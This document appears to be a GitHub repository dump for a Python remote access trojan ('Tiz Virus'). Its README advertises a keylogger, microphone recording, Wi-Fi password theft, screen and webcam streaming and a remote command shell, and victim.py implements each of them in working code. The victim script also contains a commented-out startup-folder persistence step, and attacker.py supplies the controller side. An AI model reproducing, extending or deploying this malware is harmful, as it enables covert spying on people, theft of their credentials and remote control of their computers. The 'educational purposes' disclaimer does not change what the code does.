├── README.md ├── attacker ├── attacker.py ├── attacker_requirements.bat ├── requirements.txt └── separate_files │ ├── R_TCP_Client_attack.py │ ├── camera_receiver.py │ └── screen_receiver.py └── victim ├── requirements.txt ├── victim.py └── victim_requirements.bat /README.md: -------------------------------------------------------------------------------- 1 | # My first virus in python 2 | ## Disclaimer : 3 | **This application is for educational purposes. I cannot be held responsible for any abusive use of my code.** 4 | 5 | # This virus can do : 6 | * reverse shell 7 | * keylogger 8 | * microphone recorder 9 | * wifis password stealer 10 | * screen sharing 11 | * camera sharing 12 | 13 | ## Requirements : 14 | * python3 15 | * mss for screen streaming 16 | * pynput for keylogger 17 | * opencv-python (know as cv2) for camera streaming 18 | * numpy for camera streaming 19 | * pygame for camera receiving 20 | * pyaudio for microphone recording 21 | 22 | ## How to install : 23 | 24 | ``pip3 install requirements.txt`` 25 | 26 | on windows you can just launch victim_requirements.bat and/or attacker_requirements.bat which download the requirements 27 | 28 | watch out requirements are differents for attacker and victim 29 | ## How to run : 30 | 31 | on the victim computer : 32 | ``python3 victim.py`` 33 | 34 | 35 | on the attacker computer: 36 | ``python3 attacker.py`` 37 | 38 | 39 | ## Options : 40 | 41 | Victim side: 42 | ```py 43 | usage: victim.py [-h] [--host HOST] [--port PORT] [--keylog KEYLOG] [--micro MICRO] [--wifi WIFI] [--shell SHELL] 44 | [--camera CAMERA] [--screen SCREEN] 45 | 46 | Tiz Virus Victim 47 | 48 | optional arguments: 49 | -h, --help show this help message and exit 50 | --host HOST listening ip, default is '0.0.0.0', no need to change 51 | --port PORT default port is 5000, revershell = port, camera stream = port+1, screen stream = port+2 52 | --keylog KEYLOG keylog=t create a keylogger file / keylog=f don't create the file 53 | --micro MICRO micro=10 record the microphone during 10 sec and put it in a file / micro=0 don't record 54 | --wifi WIFI wifi=t create a file with all wifis password / wifi=f don't create the file 55 | --shell SHELL shell=t revershell on port (default = 5000) / shell=f don't revershell 56 | --camera CAMERA camera=t stream camera on port+1 (default = 5001) / camera=f don't stream 57 | --screen SCREEN screen=t stream screen on port+2 (default = 5002) / screen=f don't stream 58 | ``` 59 | 60 | --- 61 | 62 | Attacker side: 63 | ```py 64 | usage: attacker.py [-h] [--host HOST] [--port PORT] [--shell SHELL] [--camera CAMERA] [--screen SCREEN] 65 | 66 | Tiz Virus Attacker 67 | 68 | optional arguments: 69 | -h, --help show this help message and exit 70 | --host HOST connecting ip, default is localhost' 71 | --port PORT default port is 5000, revershell = port, camera stream = port+1, screen stream = port+2 72 | --shell SHELL shell=t revershell on port (default = 5000) / shell=f don't revershell 73 | --camera CAMERA camera=t stream camera on port+1 (default = 5001) / camera=f don't stream 74 | --screen SCREEN screen=t stream screen on port+2 (default = 5002) / screen=f don't stream 75 | ``` 76 | 77 | 78 | ## Futur improvements : 79 | * fix revershell trouble 80 | * add replicant fonction 81 | 82 | # TIZ 83 | I am nobody. 84 | Use this code, improve it, modify it. 85 | You don't need to quote anyone. 86 | -------------------------------------------------------------------------------- /attacker/attacker.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Dec 23 2020 4 | 5 | @autor Tiz 6 | """ 7 | 8 | from __future__ import division 9 | import numpy as np 10 | import socket, argparse, sys, threading 11 | 12 | #arguments parser 13 | def parseargs(): 14 | cli_args = argparse.ArgumentParser(description="Tiz Virus Attacker") 15 | cli_args.add_argument('--host',help="connecting ip, default is localhost'", default='127.0.0.1', type=str) 16 | cli_args.add_argument('--port',help="default port is 5000, revershell = port, camera stream = port+1, screen stream = port+2", default=5000, type=int) 17 | cli_args.add_argument('--shell',help="shell=t revershell on port (default = 5000) / shell=f don't revershell", default="t", type=str) 18 | cli_args.add_argument('--camera',help="camera=t stream camera on port+1 (default = 5001) / camera=f don't stream", default="t", type=str) 19 | cli_args.add_argument('--screen',help="screen=t stream screen on port+2 (default = 5002) / screen=f don't stream", default="t", type=str) 20 | options = cli_args.parse_args(sys.argv[1:]) 21 | return options 22 | 23 | 24 | #reverse shell receiver 25 | def R_tcp(host='127.0.0.1', port=5000): 26 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | BUFFER_SIZE = 1024 28 | s.connect((host, port)) 29 | message = s.recv(BUFFER_SIZE).decode() 30 | while True: 31 | command = input("Enter the command you wanna execute:") 32 | s.send(command.encode()) 33 | if command.lower() == "exit": 34 | break 35 | results = s.recv(BUFFER_SIZE).decode() 36 | print(results) 37 | s.close() 38 | 39 | 40 | #Screen receiver 41 | def recvall(conn, length): 42 | buf = b'' 43 | while len(buf) < length: 44 | data = conn.recv(length - len(buf)) 45 | if not data: 46 | return data 47 | buf += data 48 | return buf 49 | def screenreceiver(host='127.0.0.1', port=5001): 50 | pygame.init() 51 | screen = pygame.display.set_mode((WIDTH, HEIGHT)) 52 | clock = pygame.time.Clock() 53 | with socket.socket() as sock: 54 | sock.connect((host, port)) 55 | watching = True 56 | while watching: 57 | for event in pygame.event.get(): 58 | if event.type == pygame.QUIT: 59 | watching = False 60 | break 61 | # Récupération de la taille de la taille des pixels, la taille des pixels et les pixels 62 | size_len = int.from_bytes(sock.recv(1), byteorder='big') 63 | size = int.from_bytes(sock.recv(size_len), byteorder='big') 64 | pixels = recvall(sock, size) 65 | pixels = zlib.decompress(pixels) 66 | # Création d'une Surface depuis les pixels brutes 67 | img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB') 68 | # Affichage de l'image 69 | screen.blit(img, (0, 0)) 70 | pygame.display.flip() 71 | clock.tick(60) 72 | 73 | 74 | #camera receiver 75 | def dump_buffer(s): 76 | """ Emptying buffer frame """ 77 | while True: 78 | seg, addr = s.recvfrom(MAX_DGRAM) 79 | if struct.unpack("B", seg[0:1])[0] == 1: 80 | break 81 | def camreceiver(host='127.0.0.1', port=5002): 82 | # Set up socket 83 | s = socket.socket() 84 | s.connect((host, port)) 85 | dat = b'' 86 | dump_buffer(s) 87 | while True: 88 | seg, addr = s.recvfrom(MAX_DGRAM) 89 | if struct.unpack("B", seg[0:1])[0] > 1: 90 | dat += seg[1:] 91 | else: 92 | dat += seg[1:] 93 | img = cv2.imdecode(np.fromstring(dat, dtype=np.uint8), 1) 94 | cv2.imshow('frame', img) 95 | if cv2.waitKey(1) & 0xFF == ord('q'): 96 | break 97 | dat = b'' 98 | cv2.destroyAllWindows() 99 | s.close() 100 | 101 | 102 | 103 | if __name__ == '__main__': 104 | 105 | #parse args 106 | options = parseargs() 107 | #revershell receiver 108 | if (options.shell=="t"): 109 | threadshell = threading.Thread(target=R_tcp,args=(options.host, options.port,)) #port 5000 110 | threadshell.start() 111 | 112 | #screen receiver 113 | import pygame, zlib 114 | if (options.screen=="t"): 115 | WIDTH = 1900 116 | HEIGHT = 1000 117 | threadscreen = threading.Thread(target=screenreceiver,args=(options.host, options.port+1,)) #port 5001 118 | threadscreen.start() 119 | 120 | 121 | #camreceiver 122 | import cv2, struct 123 | if (options.camera=="t"): 124 | MAX_DGRAM = 2**16 125 | threadcam = threading.Thread(target=camreceiver,args=(options.host, options.port+2,)) #port 5002 126 | threadcam.start() -------------------------------------------------------------------------------- /attacker/attacker_requirements.bat: -------------------------------------------------------------------------------- 1 | pip3 install numpy opencv-python pygame 2 | -------------------------------------------------------------------------------- /attacker/requirements.txt: -------------------------------------------------------------------------------- 1 | numpy 2 | opencv-python 3 | pygame 4 | -------------------------------------------------------------------------------- /attacker/separate_files/R_TCP_Client_attack.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Dec 02 2020 4 | 5 | @autor Tiz 6 | """ 7 | import socket 8 | 9 | def main(host='127.0.0.1', port=5000): 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | BUFFER_SIZE = 1024 12 | print("host:",host,"\nport:",port) 13 | s.connect((host, port)) 14 | message = s.recv(BUFFER_SIZE).decode() 15 | print("Server:", message)#First message of the server to know it's connected 16 | 17 | 18 | while True: 19 | command = input("Enter the command you wanna execute:") 20 | s.send(command.encode()) 21 | 22 | if command.lower() == "exit": 23 | break 24 | 25 | results = s.recv(BUFFER_SIZE).decode() 26 | print(results) 27 | 28 | s.close() 29 | 30 | if __name__ == '__main__': 31 | import argparse 32 | import sys 33 | 34 | cli_args = argparse.ArgumentParser() 35 | cli_args.add_argument('--host', default='127.0.0.1', type=str) 36 | cli_args.add_argument('--port', default=5000, type=int) 37 | options = cli_args.parse_args(sys.argv[1:]) 38 | 39 | main(host=options.host, port=options.port) -------------------------------------------------------------------------------- /attacker/separate_files/camera_receiver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from __future__ import division 4 | import cv2 5 | import numpy as np 6 | import socket 7 | import struct 8 | 9 | MAX_DGRAM = 2**16 10 | 11 | def dump_buffer(s): 12 | """ Emptying buffer frame """ 13 | while True: 14 | seg, addr = s.recvfrom(MAX_DGRAM) 15 | print(seg[0]) 16 | if struct.unpack("B", seg[0:1])[0] == 1: 17 | print("finish emptying buffer") 18 | break 19 | 20 | def main(host='127.0.0.1', port=5002): 21 | 22 | # Set up socket 23 | s = socket.socket() 24 | s.connect((host, port)) 25 | dat = b'' 26 | dump_buffer(s) 27 | 28 | while True: 29 | seg, addr = s.recvfrom(MAX_DGRAM) 30 | if struct.unpack("B", seg[0:1])[0] > 1: 31 | dat += seg[1:] 32 | else: 33 | dat += seg[1:] 34 | img = cv2.imdecode(np.fromstring(dat, dtype=np.uint8), 1) 35 | cv2.imshow('frame', img) 36 | if cv2.waitKey(1) & 0xFF == ord('q'): 37 | break 38 | dat = b'' 39 | 40 | # cap.release() 41 | cv2.destroyAllWindows() 42 | s.close() 43 | 44 | if __name__ == '__main__': 45 | import argparse 46 | import sys 47 | 48 | cli_args = argparse.ArgumentParser() 49 | cli_args.add_argument('--host', default='127.0.0.1', type=str) 50 | cli_args.add_argument('--port', default=5002, type=int) 51 | options = cli_args.parse_args(sys.argv[1:]) 52 | 53 | main(host=options.host, port=options.port) -------------------------------------------------------------------------------- /attacker/separate_files/screen_receiver.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import zlib 3 | 4 | import pygame 5 | 6 | # from server import WIDTH, HEIGHT 7 | WIDTH = 1900 8 | HEIGHT = 1000 9 | 10 | 11 | def recvall(conn, length): 12 | """ Récupération de tous les pixels. """ 13 | 14 | #print(length % 1024, 'ko') 15 | buf = b'' 16 | while len(buf) < length: 17 | data = conn.recv(length - len(buf)) 18 | if not data: 19 | return data 20 | buf += data 21 | return buf 22 | 23 | 24 | def main(host='127.0.0.1', port=5000): 25 | pygame.init() 26 | screen = pygame.display.set_mode((WIDTH, HEIGHT)) 27 | clock = pygame.time.Clock() 28 | 29 | with socket.socket() as sock: 30 | sock.connect((host, port)) 31 | watching = True 32 | 33 | while watching: 34 | for event in pygame.event.get(): 35 | if event.type == pygame.QUIT: 36 | watching = False 37 | break 38 | 39 | # Récupération de la taille de la taille des pixels, la taille des pixels et les pixels 40 | size_len = int.from_bytes(sock.recv(1), byteorder='big') 41 | size = int.from_bytes(sock.recv(size_len), byteorder='big') 42 | pixels = recvall(sock, size) 43 | pixels = zlib.decompress(pixels) 44 | 45 | # Création d'une Surface depuis les pixels brutes 46 | img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB') 47 | 48 | # Affichage de l'image 49 | screen.blit(img, (0, 0)) 50 | pygame.display.flip() 51 | clock.tick(60) 52 | 53 | 54 | if __name__ == '__main__': 55 | import argparse 56 | import sys 57 | 58 | cli_args = argparse.ArgumentParser() 59 | cli_args.add_argument('--host', default='127.0.0.1', type=str) 60 | cli_args.add_argument('--port', default=5000, type=int) 61 | options = cli_args.parse_args(sys.argv[1:]) 62 | 63 | main(host=options.host, port=options.port) -------------------------------------------------------------------------------- /victim/requirements.txt: -------------------------------------------------------------------------------- 1 | mss 2 | pynput 3 | opencv-python 4 | numpy -------------------------------------------------------------------------------- /victim/victim.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Dec 23 2020 4 | 5 | @autor Tiz 6 | """ 7 | 8 | import threading, subprocess, socket, argparse, sys 9 | 10 | #copy the file in a place where it's gona be launched in every start # never tryed 11 | """ 12 | import os 13 | from shutil import copyfile 14 | username = os.getlogin() 15 | copyfile('virus.py', f'C:/Users/{username}/AppData/Roaming/Microsoft/Start Menu/Startup/Windaube.py') 16 | """ 17 | def parseargs(): 18 | cli_args = argparse.ArgumentParser(description="Tiz Virus Victim") 19 | cli_args.add_argument('--host',help="listening ip, default is '0.0.0.0', no need to change", default='0.0.0.0', type=str) 20 | cli_args.add_argument('--port',help="default port is 5000, revershell = port, camera stream = port+1, screen stream = port+2", default=5000, type=int) 21 | cli_args.add_argument('--keylog',help="keylog=t create a keylogger file / keylog=f don\'t create the file", default="t", type=str) 22 | cli_args.add_argument('--micro',help="micro=10 record the microphone during 10 sec and put it in a file / micro=0 don\'t record", default=10, type=int) 23 | cli_args.add_argument('--wifi',help="wifi=t create a file with all wifis password / wifi=f don't create the file", default="t", type=str) 24 | cli_args.add_argument('--shell',help="shell=t revershell on port (default = 5000) / shell=f don't revershell", default="t", type=str) 25 | cli_args.add_argument('--camera',help="camera=t stream camera on port+1 (default = 5001) / camera=f don't stream", default="t", type=str) 26 | cli_args.add_argument('--screen',help="screen=t stream screen on port+2 (default = 5002) / screen=f don't stream", default="t", type=str) 27 | options = cli_args.parse_args(sys.argv[1:]) 28 | return options 29 | 30 | def key_handler(key): 31 | logging.info(key) 32 | def keylog(): 33 | with Listener(on_press=key_handler) as listener: 34 | listener.join() 35 | 36 | def Microphone(Seconds=10,File="record.wav"): 37 | CHUNK = 1024 38 | FORMAT = pyaudio.paInt16 39 | CHANNELS = 2 40 | RATE = 44100 41 | RECORD_SECONDS = float(Seconds) 42 | WAVE_OUTPUT_FILENAME = File 43 | p = pyaudio.PyAudio() 44 | stream = p.open(format=FORMAT, 45 | channels=CHANNELS, 46 | rate=RATE, 47 | input=True, 48 | frames_per_buffer=CHUNK) 49 | frames = [] 50 | for i in range(0, int(RATE/CHUNK * RECORD_SECONDS)): 51 | data = stream.read(CHUNK) 52 | frames.append(data) 53 | stream.stop_stream() 54 | stream.close() 55 | p.terminate() 56 | wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb') 57 | wf.setnchannels(CHANNELS) 58 | wf.setsampwidth(p.get_sample_size(FORMAT)) 59 | wf.setframerate(RATE) 60 | wf.writeframes(b''.join(frames)) 61 | wf.close() 62 | 63 | 64 | def wifipass(): 65 | fichier = open("wifis.txt", "w") 66 | data = subprocess.check_output(['netsh','wlan', 'show' , 'profiles'], encoding="437").split('\n') 67 | wifis = [line.split(':')[1][1:] for line in data if (":" in line and line.split(':')[1] != ' ') ] 68 | for wifi in wifis: 69 | keys = subprocess.check_output(['netsh','wlan', 'show' , 'profile', wifi, 'key=clear'], encoding="437").split('\n') 70 | key = [line.split(':')[1][1:-1] for line in keys if ("Cont" in line)] 71 | try: 72 | fichier.write((str(wifi) + ":" + str(key[0])+"\n")) 73 | except IndexError: 74 | 1 75 | fichier.close() 76 | 77 | 78 | def retreive_screenshot(conn): 79 | with mss.mss() as sct: 80 | # La région de l'écran à capturer 81 | rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT} 82 | 83 | while 'recording': 84 | # Prendre la capture d'écran 85 | img = sct.grab(rect) 86 | # Ajuster le niveau de compression ici (0-9) 87 | pixels = zlib.compress(img.rgb, 6) 88 | # Envoie de la taille de la taille des pixels 89 | size = len(pixels) 90 | size_len = (size.bit_length() + 7) // 8 91 | conn.send(bytes([size_len])) 92 | # Envoie de la taille des pixels 93 | size_bytes = size.to_bytes(size_len, 'big') 94 | conn.send(size_bytes) 95 | # Envoi des pixels compressés 96 | conn.sendall(pixels) 97 | def screen_sender(host='0.0.0.0', port=5001): 98 | with socket.socket() as sock: 99 | sock.bind((host, port)) 100 | sock.listen(5) 101 | print('screen sender started.') 102 | while 'connected': 103 | conn, addr = sock.accept() 104 | #print('Client connected IP:', addr) 105 | threadscreen2 = threading.Thread(target=retreive_screenshot, args=(conn,)) 106 | threadscreen2.start() 107 | 108 | 109 | def R_tcp(host='0.0.0.0', port=5000): 110 | s = socket.socket() 111 | BUFFER_SIZE = 1024 112 | s.bind((host, port)) 113 | s.listen(5) 114 | print(f"Revershell started.") 115 | client_socket, client_address = s.accept() 116 | print(f"{client_address[0]}:{client_address[1]} Connected!") 117 | message = "Hacked !".encode() 118 | client_socket.send(message) 119 | while True: 120 | # receive the command from the server 121 | command = client_socket.recv(BUFFER_SIZE).decode() 122 | if command.lower() == "exit": 123 | break 124 | output = subprocess.getoutput(command) 125 | client_socket.send(output.encode()) 126 | client_socket.close() 127 | s.close() 128 | 129 | 130 | def capturevid(conn): 131 | cap = cv2.VideoCapture(0) 132 | while (cap.isOpened()): 133 | _, frame = cap.read() 134 | compress_img = cv2.imencode('.jpg', frame)[1] 135 | dat = compress_img.tostring() 136 | size = len(dat) 137 | count = math.ceil(size/(MAX_IMAGE_DGRAM)) 138 | array_pos_start = 0 139 | while count: 140 | array_pos_end = min(size, array_pos_start + MAX_IMAGE_DGRAM) 141 | conn.send(struct.pack("B", count) +dat[array_pos_start:array_pos_end]) 142 | array_pos_start = array_pos_end 143 | count -= 1 144 | cap.release() 145 | cv2.destroyAllWindows() 146 | conn.close() 147 | def camsender(port=5002): 148 | host="0.0.0.0" 149 | with socket.socket() as sock: 150 | sock.bind((host, port)) 151 | sock.listen(5) 152 | print('camera sender started.') 153 | 154 | while 'connected': 155 | conn, addr = sock.accept() 156 | print('Client connected IP:', addr) 157 | thread = threading.Thread(target=capturevid, args=(conn,)) 158 | thread.start() 159 | 160 | if __name__ == "__main__": 161 | #parse args for socket connection 162 | options=parseargs() 163 | #keylogger 164 | if (options.keylog=="t"): 165 | import logging 166 | from pynput.keyboard import Key, Listener 167 | from logging import info 168 | logging.basicConfig(filename="Keylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s") 169 | threadlog = threading.Thread(target=keylog) 170 | threadlog.start() 171 | #microphone recorder 172 | if (options.micro>0): 173 | import wave,pyaudio 174 | threadmic = threading.Thread(target=Microphone,args=(options.micro,)) 175 | threadmic.start() 176 | #recup wifipass 177 | if (options.wifi=="t"): 178 | wifipass() 179 | #Reverse shell tcp 180 | if (options.shell=="t"): 181 | threadshell = threading.Thread(target=R_tcp,args=(options.host,options.port)) #port 5000 182 | threadshell.start() 183 | #screen sender udp 184 | import zlib, mss 185 | if (options.screen=="t"): 186 | WIDTH = 1900 187 | HEIGHT = 1000 188 | threadscreen = threading.Thread(target=screen_sender,args=(options.host,options.port+1)) # port 5001 189 | threadscreen.start() 190 | #camera sender udp 191 | import cv2, math, struct 192 | if (options.camera=="t"): 193 | MAX_DGRAM = 2**16 194 | MAX_IMAGE_DGRAM = MAX_DGRAM - 64 # extract 64 bytes in case UDP frame overflown 195 | threadcam = threading.Thread(target=camsender,args=(options.port+2,)) #port 5002 196 | threadcam.start() 197 | #suite 198 | 199 | 200 | 201 | 202 | -------------------------------------------------------------------------------- /victim/victim_requirements.bat: -------------------------------------------------------------------------------- 1 | pip3 install mss pynput opencv-python numpy pyaudio --------------------------------------------------------------------------------